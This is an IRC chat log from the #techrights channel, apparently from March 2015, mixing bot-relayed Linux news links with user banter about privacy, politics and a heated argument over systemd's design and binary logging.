TweetTuxMachines@tuxmachines     The Difference Between Window Managers andMar 14 08:03
TweetTuxMachines                 Desktop Environments http://t.co/3kjSrBWZyhMar 14 08:03
TweetTuxMachines                 (www.maketecheasier.com)Mar 14 08:03
-TechrightsBot-tr/#techrights-www.maketecheasier.com | Window Managers and Desktop Environments: The DifferenceMar 14 08:03
TweetTuxMachines........................................  http://ur1.ca/jwmy7Mar 14 08:03
TweetTuxMachines@tuxmachines     5 best Linux distros for beginners and newbiesMar 14 08:03
TweetTuxMachines                 http://t.co/CcQh5mfLGn (www.cbronline.com)Mar 14 08:03
TweetTuxMachines........................................  http://ur1.ca/jwmy8Mar 14 08:03
-TechrightsBot-tr/#techrights-www.cbronline.com | 5 best Linux distros for beginners and newbies - Computer Business ReviewMar 14 08:04
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schestowitzhttps://joindiaspora.com/posts/5757318Mar 14 08:06
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Software that respects #privacy (and often #freesw too) a growing business at sellouts' expense http://www.zdnet.com/article/silent-circle-targets-enterprise-with-world-first-privacy-ecosystem/ http://www.zdnet.com/article/nsa-busting-encryption-app-peerio-puts-privacy-first/Mar 14 08:06
-TechrightsBot-tr/#techrights--> www.zdnet.com | Silent Circle targets enterprise users with 'world first' privacy ecosystem | ZDNet [ http://ur1.ca/jwmyg ]Mar 14 08:06
-TechrightsBot-tr/#techrights--> www.zdnet.com | Meet the free encryption app that promises to put your privacy first | ZDNet [ http://ur1.ca/jwmyh ]Mar 14 08:06
schestowitzhttps://twitter.com/SinedioMD/status/576655044386385920Mar 14 08:07
-TechrightsBot-tr/#techrights-@SinedioMD: @schestowitz @snipeyhead Fedora and Debian for newbies... I don't think so :/Mar 14 08:07
schestowitzDepends how they're configuredMar 14 08:08
schestowitzhttps://twitter.com/snipeyhead/status/576655682985852928Mar 14 08:15
-TechrightsBot-tr/#techrights-@snipeyhead: @schestowitz @SinedioMD the newbies? ;)Mar 14 08:15
TweetTuxMachines@tuxmachines     Watch: Ubuntu at Mobile World Congress 2015Mar 14 08:29
TweetTuxMachines                  http://t.co/QoJTh3W3iV (linux.softpedia.com)Mar 14 08:29
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-TechrightsBot-tr/#techrights-linux.softpedia.com | Watch: Ubuntu at Mobile World Congress 2015 - SoftpediaMar 14 08:29
TweetTuxMachines@tuxmachines     LXLE Linux 14.04.1 review - Champagne withoutMar 14 08:29
TweetTuxMachines                 bubbles http://t.co/dINzuFXHJ7Mar 14 08:29
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 08:29
TweetTuxMachines........................................  http://ur1.ca/jwn1eMar 14 08:29
-TechrightsBot-tr/#techrights-www.tuxmachines.org | LXLE Linux 14.04.1 review - Champagne without bubbles | Tux MachinesMar 14 08:29
TweetTuxMachines@tuxmachines     Plasma is my new favorite desktopMar 14 08:29
TweetTuxMachines                 http://t.co/es7gEtRbbh (www.tuxmachines.org)Mar 14 08:29
TweetTuxMachines........................................  http://ur1.ca/jwn1hMar 14 08:29
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Plasma is my new favorite desktop | Tux MachinesMar 14 08:29
schestowitzhttps://twitter.com/eRadical/status/576661045906948097Mar 14 08:31
-TechrightsBot-tr/#techrights-@eRadical: @SinedioMD @schestowitz @snipeyhead yes Fedora. My mother switched from Windows to Fedora without pain.Mar 14 08:31
schestowitzhttps://joindiaspora.com/posts/5751344Mar 14 08:32
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Crowdfund campaign adds signed PDFs to #LibreOffice https://joinup.ec.europa.eu/node/139295 "signatures in PDF documents is now included in LibreOffice"Mar 14 08:32
schestowitz"This is great news! LibreOffice is great and in my opinion would be dominating as the primary office suite if Microsoft didn't have deep pockets and hadn't spent the 90's building it's office monopoly."Mar 14 08:32
-TechrightsBot-tr/#techrights--> joinup.ec.europa.eu | Crowdfund campaign adds signed PDFs to LibreOffice | JoinupMar 14 08:32
schestowitz"That's great to hear!"Mar 14 08:32
schestowitzhttps://joindiaspora.com/posts/5756895Mar 14 08:32
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #Arietta G25 – The latest Embedded Linux Board http://www.open-electronics.org/arietta-g25-the-last-embedded-linux-board/ #linuxMar 14 08:32
schestowitz"How hard would it be to interface this thing to a CAN bus?"Mar 14 08:32
-TechrightsBot-tr/#techrights--> www.open-electronics.org | Arietta G25 – The latest Embedded Linux Board | Open Electronics [ http://ur1.ca/jwn21 ]Mar 14 08:32
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schestowitzhttps://twitter.com/gravax/status/576668751539478528Mar 14 09:02
-TechrightsBot-tr/#techrights-@gravax: "@schestowitz: Consumers unaware that EU rule offers 2-year product guarantee http://t.co/G9cF0qFTki #eu #europe" Now We know... :-)Mar 14 09:02
-TechrightsBot-tr/#techrights--> yle.fi | Consumers unaware that EU rule offers 2-year product guarantee | Yle Uutiset | yle.fiMar 14 09:02
schestowitz> http://webmink.com/2015/03/02/new-job/Mar 14 09:05
-TechrightsBot-tr/#techrights-webmink.com | New Role At WiPro | Wild WebminkMar 14 09:05
schestowitz> Mar 14 09:05
schestowitz> WTFMar 14 09:05
schestowitzThat's OK. They're looking to change. Other firms in India do too.Mar 14 09:05
schestowitz> http://undeadly.org/cgi?action=article&sid=20150303075848&mode=expanded&count=2Mar 14 09:06
-TechrightsBot-tr/#techrights-undeadly.org | Ted Unangst: Improving Browser Security [ http://ur1.ca/jwn6y ]Mar 14 09:06
schestowitz> Mar 14 09:06
schestowitz> sent earlier a link to the message, but this link is probably betterMar 14 09:06
TweetTuxMachines@tuxmachines     Google Code Shutting DownMar 14 09:26
TweetTuxMachines                 http://t.co/2asHOcGhGw (www.tuxmachines.org)Mar 14 09:26
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Google Code Shutting Down | Tux MachinesMar 14 09:26
TweetTuxMachines@tuxmachines     The Difference Between Window Managers andMar 14 09:26
TweetTuxMachines                 Desktop Environments http://t.co/6kPRzA2tiKMar 14 09:26
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 09:26
TweetTuxMachines........................................  http://ur1.ca/jwna7Mar 14 09:26
-TechrightsBot-tr/#techrights-www.tuxmachines.org | The Difference Between Window Managers and Desktop Environments | Tux MachinesMar 14 09:26
TweetTuxMachines@tuxmachines     5 best Linux distros for beginners and newbiesMar 14 09:26
TweetTuxMachines                 http://t.co/P8S27puu2F (www.tuxmachines.org)Mar 14 09:26
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | 5 best Linux distros for beginners and newbies | Tux MachinesMar 14 09:26
schestowitzhttps://joindiaspora.com/posts/5753186Mar 14 09:47
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #Nokia CEO: We Have To Get Rid Of Net Neutrality, Otherwise Self-Driving Cars Will Keep On Crashing Into Each Other https://www.techdirt.com/blog/netneutrality/articles/20150302/07565730182/nokia-ceo-we-have-to-get-rid-net-neutrality-otherwise-self-driving-cars-will-keep-crashing-into-each-other.shtmlMar 14 09:47
-TechrightsBot-tr/#techrights--> www.techdirt.com | Nokia CEO: We Have To Get Rid Of Net Neutrality, Otherwise Self-Driving Cars Will Keep On Crashing Into Each Other | Techdirt [ http://ur1.ca/jwndo ]Mar 14 09:47
schestowitz"yeah, fuck those sensors, they're only in the way of global google-earth-like realtime surveillance"Mar 14 09:47
schestowitzhttps://joindiaspora.com/posts/5739428Mar 14 09:48
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: My wife has just witnessed two #apple #iphone devices siezed, taken to the back (repsumably for copying), then returned in Frankfurt AirportMar 14 09:48
schestowitz"The idea is fighting for our freedom, but becoming a marthyr that nobody appreciates is of no use. If people starts traveling with no electronics or factory-reset ones they might get the message and people will lose nothing. And if you really want to do something you can press and even go to court, but better doing that in a good moment rather than while on transit back to home."Mar 14 09:48
schestowitzTrue, and sad...Mar 14 09:49
schestowitzhttps://joindiaspora.com/posts/5740809Mar 14 09:49
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: How #Intel and PC makers prevent you from modifying your laptop's firmware http://denisyegonmaina.blogspot.ca/2015/03/how-intel-and-pc-makers-prevent-you.html avoid #x86Mar 14 09:50
-TechrightsBot-tr/#techrights--> denisyegonmaina.blogspot.ca | my tecnews: How Intel and PC makers prevent you from modifying your laptop's firmware [ http://ur1.ca/ju4k4 ]Mar 14 09:50
schestowitz"Mar 14 09:50
schestowitz"Intel and Boot Guard don’t absolutely require hardware manufacturers to lock the computer to only using manufacturer-signed firmware, but every major PC maker does anyway. "Mar 14 09:50
schestowitzTime to stop buying from major PC makers? My last PC was a white box AMD from a local retailer and my next one very likely will be the same.Mar 14 09:50
schestowitz"Mar 14 09:50
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cubexyzthe firmware situation is mostly improving... since we have Lemote, Thinkpad X60, chromebooks/boxes, etcMar 14 09:58
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TweetTuxMachines@tuxmachines     "Jolla is working with partners to bring aMar 14 10:36
TweetTuxMachines                 toughened version of its Sailfish OS to a rangeMar 14 10:36
TweetTuxMachines                 of hardware."  http://t.co/fpdWqrIiLqMar 14 10:36
TweetTuxMachines                 (www.theinquirer.net)Mar 14 10:36
TweetTuxMachines........................................  http://ur1.ca/jwnjtMar 14 10:36
-TechrightsBot-tr/#techrights-www.theinquirer.net | MWC: Jolla pitches Sailfish Secure OS as Europe's only safe mobile option- The InquirerMar 14 10:36
TweetTuxMachines@tuxmachines     Login screen in Fedora 22 Workstation usesMar 14 10:36
TweetTuxMachines                 Wayland  http://t.co/NYXzlVVfHiMar 14 10:36
TweetTuxMachines                 (fedoramagazine.org)Mar 14 10:36
TweetTuxMachines........................................  http://ur1.ca/jwnjuMar 14 10:36
-TechrightsBot-tr/#techrights-fedoramagazine.org | Login screen in Fedora 22 Workstation uses Wayland | Fedora MagazineMar 14 10:36
*TweetTuxMachines @miniputing favourited 'Can We Really Trust Linux? http://t.co/SYZEf4HzbU'Mar 14 11:12
*TweetTuxMachines @miniputing favourited 'Raspberry Pi 2: Raspbian (ARMv6) v Linaro (ARMv7)...'Mar 14 11:12
-TechrightsBot-tr/#techrights-www.makeuseof.com | Can We Really Trust Linux?Mar 14 11:12
XRevan86uBlock for Firefox for Android released o_0.Mar 14 11:36
XRevan86also I see it's named uBlock now instead of µBlockMar 14 11:36
TweetTuxMachines@tuxmachines     Testing Started for Linux Mint Debian Edition,Mar 14 11:41
TweetTuxMachines                 Systemd Implementation Not Decided YetMar 14 11:41
TweetTuxMachines                 http://t.co/vJz9DRe8M0 (news.softpedia.com)Mar 14 11:41
TweetTuxMachines........................................  http://ur1.ca/jwnsqMar 14 11:41
-TechrightsBot-tr/#techrights-news.softpedia.com | Testing Started for Linux Mint Debian Edition, Systemd Implementation Not Decided Yet - SoftpediaMar 14 11:41
TweetTuxMachines@tuxmachines     Finally Kde Plasma 5.2 on my Arch LinuxMar 14 11:41
TweetTuxMachines                 http://t.co/DG8WNVAQWs (fasterland.net)Mar 14 11:41
TweetTuxMachines........................................  http://ur1.ca/jwnsrMar 14 11:41
-TechrightsBot-tr/#techrights-fasterland.net | Finally Kde Plasma 5.2 on my Arch Linux - FasterlandMar 14 11:41
TweetTuxMachines@tuxmachines     GNOME’s Mutter Window and Compositing ManagerMar 14 11:41
TweetTuxMachines                 Updates Wayland SupportMar 14 11:41
TweetTuxMachines                  http://t.co/e7mrnSuO4s (linux.softpedia.com)Mar 14 11:41
TweetTuxMachines........................................  http://ur1.ca/jwnsvMar 14 11:41
-TechrightsBot-tr/#techrights-linux.softpedia.com | GNOME’s Mutter Window and Compositing Manager Updates Wayland Support - SoftpediaMar 14 11:41
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TweetTuxMachines@tuxmachines     GNOME Photos Gets a Bugfix Update, Just in TimeMar 14 14:58
TweetTuxMachines                 for GNOME 3.16 http://t.co/0xZiHjbs8bMar 14 14:58
TweetTuxMachines                 (linux.softpedia.com)Mar 14 14:58
-TechrightsBot-tr/#techrights-linux.softpedia.com | GNOME Photos Gets a Bugfix Update, Just in Time for GNOME 3.16 - SoftpediaMar 14 14:58
TweetTuxMachines........................................  http://ur1.ca/jwotyMar 14 14:58
TweetTuxMachines@tuxmachines     Links 14/2/2015: End of Google Code, Split ofMar 14 14:58
TweetTuxMachines                 Google+ http://t.co/dkcYcJD7kb (techrights.org)Mar 14 14:58
TweetTuxMachines........................................  http://ur1.ca/jwou0Mar 14 14:58
-TechrightsBot-tr/#techrights-techrights.org | Links 14/2/2015: End of Google Code, Split of Google+ | TechrightsMar 14 14:58
TweetTuxMachines@tuxmachines     Week in Techrights http://t.co/9DSFNqfffZMar 14 15:09
TweetTuxMachines                 (www.tuxmachines.org) still catching up, fullMar 14 15:09
TweetTuxMachines                 articles coming upMar 14 15:09
TweetTuxMachines........................................  http://ur1.ca/jwowxMar 14 15:09
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Week in Techrights | Tux MachinesMar 14 15:09
MinceRgeekingsMar 14 15:09
TweetTuxMachines@tuxmachines     "many AAA game titles were confirmed to come toMar 14 15:09
TweetTuxMachines                 Linux/SteamOS in this year."Mar 14 15:09
TweetTuxMachines                 http://t.co/XANTgyEmCj (opensource.com)Mar 14 15:09
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-TechrightsBot-tr/#techrights-opensource.com | Open gaming news from this year's Game Developers Conference | Opensource.comMar 14 15:09
TweetTuxMachines@tuxmachines     Puppy Linux-Based Quirky Distribution ReachesMar 14 15:09
TweetTuxMachines                 Version 7.0, Dubbed April - GalleryMar 14 15:09
TweetTuxMachines                 http://t.co/fLmpUCgRJn (news.softpedia.com)Mar 14 15:09
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-TechrightsBot-tr/#techrights-news.softpedia.com | Puppy Linux-Based Quirky Distribution Reaches Version 7.0, Dubbed April - Gallery - SoftpediaMar 14 15:09
TweetTuxMachines@tuxmachines     The Tremendous Features Of Fedora 22Mar 14 15:17
TweetTuxMachines                 http://t.co/9vKZEqTze3 (www.phoronix.com)Mar 14 15:17
TweetTuxMachines........................................  http://ur1.ca/jwoygMar 14 15:17
-TechrightsBot-tr/#techrights-www.phoronix.com | The Tremendous Features Of Fedora 22 - PhoronixMar 14 15:18
TweetTuxMachines@tuxmachines     Hands-on reviews of Ubuntu phonesMar 14 15:18
TweetTuxMachines                 http://t.co/9vhklTI2TW (www.bbc.com)Mar 14 15:18
TweetTuxMachines                 http://t.co/HiBALhmf79 (www.omgubuntu.co.uk)Mar 14 15:18
TweetTuxMachines                 http://t.co/n9OF7oFOJE (www.phonearena.com)Mar 14 15:18
-TechrightsBot-tr/#techrights-www.bbc.com | BBC News - Hands-on with an Ubuntu phone at MWCMar 14 15:18
TweetTuxMachines........................................  http://ur1.ca/jwoyhMar 14 15:18
-TechrightsBot-tr/#techrights-www.omgubuntu.co.uk | Ubuntu Phone Reviewed by Spiegel OnlineMar 14 15:18
-TechrightsBot-tr/#techrights-www.phonearena.com | Hands-on with the first Ubuntu phone: Say hello to the bq Aquaris 4.5 Ubuntu Edition | PhoneArena reviewsMar 14 15:18
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schestowitzhttps://joindiaspora.com/posts/5710991Mar 14 16:07
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Nmap—Not Just for Evil! http://www.linuxjournal.com/content/nmap%E2%80%94not-just-evil not just for government gangs like #gchq and #nsa eitherMar 14 16:07
-TechrightsBot-tr/#techrights--> www.linuxjournal.com | Nmap—Not Just for Evil! | Linux Journal [ http://ur1.ca/jwp71 ]Mar 14 16:07
schestowitz""Also for Trinity: http://nmap.org/movies/Mar 14 16:07
-TechrightsBot-tr/#techrights-nmap.org | Movies Featuring the Nmap Security ScannerMar 14 16:07
schestowitz"Mar 14 16:07
schestowitzhttps://joindiaspora.com/posts/5741569Mar 14 16:07
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Now that corporations control the Linux Foundation http://uk.businessinsider.com/linux-foundation-reigns-in-linus-torvalds-2015-3?r=US watch the Microsoft boosters exploiting thisMar 14 16:07
schestowitz"Or the #gnu #fsf #libre #foss community ;)"Mar 14 16:07
-TechrightsBot-tr/#techrights--> uk.businessinsider.com | Linux Foundation reigns in Linus Torvalds - Business Insider [ http://ur1.ca/jwp77 ]Mar 14 16:07
schestowitz"Mar 14 16:07
schestowitzI really would like the GNU Project come with a new OS, with Hurd as kernel and no systemd.Mar 14 16:07
schestowitzMore options never hurt.Mar 14 16:07
schestowitz"Mar 14 16:07
schestowitzhttps://joindiaspora.com/posts/5753021Mar 14 16:08
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #Privacy advocates try to keep ‘creepy,’ ‘eavesdropping’ Hello Barbie from hitting shelves http://www.washingtonpost.com/blogs/the-switch/wp/2015/03/11/privacy-advocates-try-to-keep-creepy-eavesdropping-hello-barbie-from-hitting-shelves/Mar 14 16:08
-TechrightsBot-tr/#techrights--> www.washingtonpost.com | Privacy advocates try to keep ‘creepy,’ ‘eavesdropping’ Hello Barbie from hitting shelves - The Washington Post [ http://ur1.ca/jwp7h ]Mar 14 16:08
schestowitz"If your child is doing nothing wrong, your child should have nothing to be concerned about."Mar 14 16:08
schestowitz"sounds like fun, lets try to exploit the protocol"Mar 14 16:08
schestowitzhttps://joindiaspora.com/posts/5607175Mar 14 16:09
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Removing #Systemd from #Debian (and still running a desktop) http://lkcl.net/reports/removing_systemd_from_debian/Mar 14 16:09
schestowitz"I've gotta go with Roy on this one. Nano, all the way."Mar 14 16:09
-TechrightsBot-tr/#techrights--> lkcl.net | Removing Systemd from Debian (and still running a desktop) [ http://ur1.ca/jqrue ]Mar 14 16:09
schestowitz"Nano sucks. I use pencil. :P"Mar 14 16:09
schestowitzIs that an application?Mar 14 16:09
schestowitzhttps://twitter.com/granitevoter/status/576776180872937472Mar 14 16:09
-TechrightsBot-tr/#techrights-@granitevoter: .@schestowitz @MishiChoudhary My copyright WTF was famous buildings trying to control their use in movies.Mar 14 16:09
schestowitzhttps://twitter.com/FrankViewZ/status/576776450877046784Mar 14 16:10
-TechrightsBot-tr/#techrights-@FrankViewZ: @schestowitz Why are white people expats when the rest of us are immigrants? Stop using this racist white supremacist view - S. AsheMar 14 16:10
schestowitzI don't use this white power term (expat), some still do...Mar 14 16:10
*TweetTuxMachines @alberto1you favourited 'Hands-on reviews of Ubuntu phones http://t.co/9vhklTI2TW http://t.co/HiBALhmf79 http://t.co/n9OF7oFOJE'Mar 14 16:21
TweetTuxMachines@tuxmachines     Manjaro #XFCE 0.9.0-pre4 edition releasedMar 14 16:21
TweetTuxMachines                 https://t.co/bMlptiVRKc (manjaro.github.io)Mar 14 16:21
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-TechrightsBot-tr/#techrights-manjaro.github.io | Manjaro XFCE 0.9.0-pre4 edition released – Manjaro Linux – Enjoy the simplicityMar 14 16:21
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TweetTuxMachines@tuxmachines     OpenELEC 5.0.6 released http://t.co/u7AmvVdbZ7Mar 14 16:33
TweetTuxMachines                 (openelec.tv)Mar 14 16:33
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-TechrightsBot-tr/#techrights-openelec.tv | OpenELEC Mediacenter - OpenELEC 5.0.6 releasedMar 14 16:33
TweetTuxMachines@tuxmachines     Leftovers: Screenshots http://t.co/W1T6xbf3MaMar 14 16:33
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 16:33
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Screenshots | Tux MachinesMar 14 16:33
TweetTuxMachines@tuxmachines     Leftovers: Gaming http://t.co/BiDtglnK4UMar 14 16:33
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 16:33
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Gaming | Tux MachinesMar 14 16:33
__martin__"non-invasively obtaining it by studying the electromagnetic emissions of — and the amount of power used by — the iPhone’s processor while encryption is being performed"Mar 14 16:50
__martin__- GID key extractionMar 14 16:50
__martin__sometimes I just wonderMar 14 16:52
__martin__how does to top 1% communicate with one another?Mar 14 16:52
__martin__maybe they've got quantum crypto chips.. who knowsMar 14 16:53
__martin__the*Mar 14 16:54
__martin__(or just using fake homeless id and regular market tech)Mar 14 16:55
TweetTuxMachines@tuxmachines     today's howtos http://t.co/mkgmxVrCxBMar 14 17:11
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 17:11
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | today's howtos | Tux MachinesMar 14 17:11
TweetTuxMachines@tuxmachines     Week in Techrights http://t.co/FWsxabasURMar 14 17:11
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Week in Techrights | Tux MachinesMar 14 17:11
TweetTuxMachines@tuxmachines     OpenELEC, Manjaro, Puppy http://t.co/4vYPrQt3jCMar 14 17:11
TweetTuxMachines                 (www.tuxmachines.org)Mar 14 17:11
TweetTuxMachines........................................  http://ur1.ca/jwpicMar 14 17:11
-TechrightsBot-tr/#techrights-www.tuxmachines.org | OpenELEC, Manjaro, Puppy | Tux MachinesMar 14 17:11
TweetTuxMachines@tuxmachines     "The latest Ozon OS "Hydrogen" beta is based onMar 14 17:11
TweetTuxMachines                 Fedora 21" http://t.co/6gZpvyD9OtMar 14 17:11
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schestowitzhttps://twitter.com/kstallett/status/576831001172828161Mar 14 20:55
-TechrightsBot-tr/#techrights-@kstallett: @schestowitz Looks as good as elementary yet without the nasty blog posts.Mar 14 20:55
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MinceRhttp://i.imgur.com/Jo7aaup.pngMar 14 21:45
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DaemonFChttp://population.io/#/1984/04/11/male/United%20States/expectancyMar 14 22:03
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DaemonFC47.5 years left Mar 14 22:03
DaemonFC39.3 if I was born and lived in HungaryMar 14 22:03
MinceRunless we factor in that the nazis will wreck the economy until 2025Mar 14 22:04
DaemonFCApparently, our politicians in the US haven't succeeded in their mission to turn us into a third world country yet.Mar 14 22:04
MinceRif that's their goal, they should learn for orban, matolcsy & co.Mar 14 22:04
MinceRalso, i think marx wrote a book about how to destroy the economy of a countryMar 14 22:04
DaemonFCMinceR, Even Indiana's governor, who is considered to be a right-wing extremist, eventually went ahead and expanded healthcare for the poor.Mar 14 22:05
DaemonFCUsing the federal healthcare funding.Mar 14 22:05
DaemonFCThat caught me by surprise.Mar 14 22:05
DaemonFCI think he's pretending to be further to the right than he actually is.Mar 14 22:06
MinceRs/for/from/Mar 14 22:06
DaemonFCCounting on the fact that more people will see his sound bites on the evening news than will pay attention to what he actually does.Mar 14 22:06
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DaemonFCSome of them have noticed though.Mar 14 22:07
DaemonFCThey're angry that he expanded Medicaid and eventually complied with the court order legalizing gay marriage here.Mar 14 22:07
*MinceR is watching the FSF transform into the Free Windows FoundationMar 14 22:07
MinceRoops, Gratis Windows Foundation.Mar 14 22:07
DaemonFCI've been using Windows 8.1 for a while.Mar 14 22:08
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DaemonFC7 months and 1 BSOD.Mar 14 22:08
MinceRlucky, i guessMar 14 22:08
DaemonFCIt's crashing less than it used to.Mar 14 22:08
DaemonFCI averaged about 1-2 BSODs per month with XP.Mar 14 22:09
DaemonFCAnd they happened just about every day with Windows 98.Mar 14 22:09
DaemonFCThe number of patches from Windows update has been ridiculous though.Mar 14 22:09
DaemonFCIf you break it down into number of bugs fixed, then there's probably been well over 1,000 patches against Windows 8.1 RTM so far.Mar 14 22:10
DaemonFCThey seem to get into this cycle where a Windows release starts getting pretty reliable just before there's a new one out.Mar 14 22:11
DaemonFCThen it starts all over again. New features with lots of bugs.Mar 14 22:11
DaemonFCEveryone seems to know that until the first service pack is out, you're a guinea pig.Mar 14 22:12
DaemonFCHow is the FSF promoting Windows?Mar 14 22:12
DaemonFCThey don't even promote most Linux distributions because of a few nits here and there.Mar 14 22:12
MinceRby accusing people who dare say that the design of systemd (which adops plenty from windows) is badMar 14 22:12
MinceRalso, by promoting systemdMar 14 22:13
MinceRpeople will have no reason to switch from winblows to the Linux-based OS FSF supports if it is just as badMar 14 22:13
MinceRi hope mattl doesn't really represent the FSFMar 14 22:13
XRevan86What I am reading?Mar 14 22:13
MinceRdunnoMar 14 22:14
schestowitzhttps://joindiaspora.com/posts/5746616Mar 14 22:15
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: In #uk we're often asked to give ID (debit/credit/Nectar card etc.) to buy food, but #bbc focuses on #venezuela http://www.bbc.com/news/world-latin-america-31791878Mar 14 22:15
schestowitz"Come to Venezuela to speak properly and not based on assumptions or stupid conspiracy theories."Mar 14 22:15
-TechrightsBot-tr/#techrights--> www.bbc.com | BBC News - Venezuela installs finger scanners in supermarkets [ http://ur1.ca/jwgia ]Mar 14 22:15
XRevan86MinceR: What exactly did systemd adopt from Windows and why is it so much worse than it?Mar 14 22:15
schestowitzhttps://joindiaspora.com/posts/5758567Mar 14 22:16
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Problems that #gnu #linux users never have http://dilbert.com/strip/2015-03-01Mar 14 22:16
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schestowitz"Mar 14 22:16
MinceRXRevan86: the total lack of cohesion and transparency; binary logging; lock-in; purposeful attacks on competitorsMar 14 22:16
schestowitzDo you mean Windows Genuine Advantage?Mar 14 22:16
MinceRfor a startMar 14 22:16
schestowitzhttps://en.wikipedia.org/wiki/Windows_Genuine_AdvantageMar 14 22:16
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schestowitzHow can this be bad? Look at the name: Genuine Advantage. ADVANTAGE! This is so good that you may have in Linux too:Mar 14 22:16
schestowitzhttp://www.linuxgenuineadvantage.org/Mar 14 22:16
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schestowitz"Mar 14 22:16
MinceRXRevan86: cryptic undocumented blobs tied tightly togetherMar 14 22:16
MinceRoh, also, doing "magic" behind the user's backMar 14 22:17
XRevan86> purposeful attacks on competitorsMar 14 22:17
XRevan86uhm…Mar 14 22:17
XRevan86> binary loggingMar 14 22:17
XRevan86optional, also somewhat justifiedMar 14 22:17
MinceRno, not optionalMar 14 22:17
MinceRall you can do is pull the reconstituted log texts out on the other end and handle themMar 14 22:18
MinceRit's still subject to all sorts of journald bugs for no good reasonMar 14 22:18
MinceRalso, i'd like to see what justifies making logs unhandleable and highly prone to corruptionMar 14 22:18
MinceRi know dave cutler was also stupid enough to do binary loggingMar 14 22:18
XRevan86MinceR: rootkits log alteration proofMar 14 22:18
MinceR1. that doesn't need binary loggingMar 14 22:19
MinceR2. it's not alteration-proofMar 14 22:19
XRevan862. it isMar 14 22:19
MinceRin fact, systemd is a prime target for backdoors as it isMar 14 22:19
XRevan86I thought it's Linux.Mar 14 22:19
MinceRit's cryptic, overly complex and undocumentedMar 14 22:19
MinceRapparently the Linux folks make it too difficult for the NSA to push backdoors inMar 14 22:19
MinceRthey pay too much attention to what's integratedMar 14 22:20
MinceRred hat on the other hand gladly helps the nsa for moneyMar 14 22:20
MinceRin fact, passing the logs through that black box makes for a good place to alter them.Mar 14 22:20
DaemonFCRyan FarmerMar 14 22:23
DaemonFCJust now · Mar 14 22:23
DaemonFCOh, there's an option to add a reminder about your projected date of death to your calendar..... "Remind me later." "Remind me later." "Remind me later."....... B-)Mar 14 22:23
MinceRalso, if systemd was as great as its apologists keep claiming, maybe they shouldn't try to force it down everyone's throatsMar 14 22:24
MinceRif it's so great, surely people will adopt it based on its meritsMar 14 22:25
MinceRthen again, letting people choose is not the Great Exemplars' (m$'s and crApple's) wayMar 14 22:25
XRevan86> cryptic,undocumentedMar 14 22:27
XRevan86uhm, why do you think so?Mar 14 22:27
MinceRi've seen their codeMar 14 22:27
MinceRit's disgusting.Mar 14 22:27
MinceRalso, they hide stuff in binaries instead of using shell scripts like sane init systems doMar 14 22:28
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DaemonFCJ. R. Bob Dobbs (formerly ZOMG Pink Ponies) says:Mar 14 22:28
DaemonFCYeah. I think that some of the Republicans in office really died 20 years ago and the Koch Brothers have them pickled in formaldehyde and stuffed with animatronics.Mar 14 22:28
DaemonFCThat's just my theory.Mar 14 22:28
XRevan86I've seen OpenRC code, it's disgusting, too.Mar 14 22:28
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MinceRcomments are rare in their code, especially comments that explain what a function is supposed to be doingMar 14 22:28
MinceRalso, they purposefully add APIs that are not stable, not documented and telling you that you're not supposed to use themMar 14 22:29
MinceRwhile they use it in their codeMar 14 22:29
MinceRdoes this remind you of the practices of another company?Mar 14 22:30
XRevan86> also, they hide stuff in binaries instead of using shell scripts like sane init systems doMar 14 22:30
XRevan86"hide" is not a very proper word since systemd is FOSS. Anyway, bash is quite… slow and very cryptic so the way to write everything in bash is not effective either.Mar 14 22:30
MinceRyeah, technically freeMar 14 22:30
XRevan86> does this remind you of the practices of another company?Mar 14 22:30
XRevan86Linux Foundation?Mar 14 22:30
MinceRthere are plenty of shells beside bashMar 14 22:30
MinceRi was thinking of microsoftMar 14 22:30
XRevan86MinceR: bash and stuff alike is not designed for anything a bit complicated.Mar 14 22:32
XRevan86and initscripts are made complicated anywayMar 14 22:32
MinceRinitscripts don't have to be complicatedMar 14 22:32
MinceRnot every OS is debian.Mar 14 22:32
MinceRhttp://homepage.ntlworld.com./jonathan.deboynepollard/FGA/run-scripts-and-service-units-side-by-side.htmlMar 14 22:32
-TechrightsBot-tr/#techrights-homepage.ntlworld.com. | FGA: A side-by-side look at run scripts and service units [ http://ur1.ca/jwszf ]Mar 14 22:33
MinceRalso, bash doesn't die horribly if you have an extra line break at the end of the file or somethingMar 14 22:33
XRevan86MinceR: These uncomplicated initscripts I see on this page are all unfunctional.Mar 14 22:34
MinceRhow so?Mar 14 22:34
XRevan86MinceR: How to restart fetchmail via runit?Mar 14 22:34
MinceRi don't know runit well enough, i suppose it kills fetchmail and then starts itMar 14 22:35
XRevan86systemd service on this page can do that.Mar 14 22:35
MinceRhere's an example of a typical OpenBSD rc script: http://www.openbsd.org/faq/ports/specialtopics.html#RcScriptsMar 14 22:35
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MinceRoh, you mean restart if it dies?Mar 14 22:35
XRevan86MinceR: No, just restart. "restart if it dies" is not implemented for sure.Mar 14 22:36
MinceRso, where do these units describe how to restart the service?Mar 14 22:36
XRevan86MinceR: systemd knows about forked processes.Mar 14 22:37
MinceRall i see is "Restart=always", which doesn't look like a command lineMar 14 22:37
MinceRso they don'tMar 14 22:37
XRevan86MinceR: It will work.Mar 14 22:37
